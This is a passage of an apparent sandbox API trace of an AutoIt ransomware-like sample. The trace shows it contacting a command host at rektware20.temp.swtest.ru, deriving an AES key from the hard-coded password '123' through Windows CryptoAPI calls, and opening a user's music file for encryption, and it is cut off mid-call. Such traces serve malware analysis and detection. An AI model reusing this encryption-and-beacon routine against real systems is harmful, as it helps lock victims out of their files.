returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AMd57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Md57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="57\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xNjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NjQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jQU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QU.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0064.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.170] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.170] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0064.170] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.170] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0064.170] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0064.170] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.170] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0064.170] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0064.170] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c) returned 1 [0064.170] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.170] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.170] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.173] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0064.173] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0064.173] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0064.173] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0064.173] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629490, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629490*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0064.173] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.173] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.173] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.173] CloseHandle (hObject=0x0) returned 0 [0064.173] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.173] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0064.174] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0064.174] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.174] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.174] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.174] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.174] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.174] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.174] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0064.174] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.174] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.174] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0064.174] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.174] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.174] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.175] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.175] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.175] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0064.175] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0064.176] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0064.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0064.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0064.176] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0064.176] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17ab6e8) returned 1 [0064.177] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.177] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.177] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0064.177] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.177] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.177] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.177] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.177] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.177] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.177] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.177] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.177] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.177] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.177] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.177] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.177] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0064.177] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.177] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.177] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.178] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.178] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.178] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.178] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.178] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.178] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.178] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.178] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.178] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.178] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.178] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.178] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.178] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.178] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.178] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.178] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0064.179] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0064.179] CryptCreateHash (in: hProv=0x17ab6e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0064.179] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.179] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.179] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.179] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629590, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.179] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0064.179] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629580, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.179] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.179] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.179] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.179] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0064.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216f0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0064.180] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0064.180] CryptHashData (hHash=0x164c8f0, pbData=0x16296e0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0064.180] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.180] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.180] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.180] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.180] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.180] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.180] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.180] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0064.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621720, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0064.180] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0064.180] CryptDeriveKey (in: hProv=0x17ab6e8, Algid=0x6610, hBaseData=0x164c8f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164ca30) returned 1 [0064.181] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.181] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.181] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.181] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.181] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.181] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.181] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0064.181] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0064.182] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0064.182] CryptDestroyHash (hHash=0x164c8f0) returned 1 [0064.182] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.182] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.182] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.182] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.182] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.182] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\4amd57\\xnjqu.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0064.183] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.183] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0064.183] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.183] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.183] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, 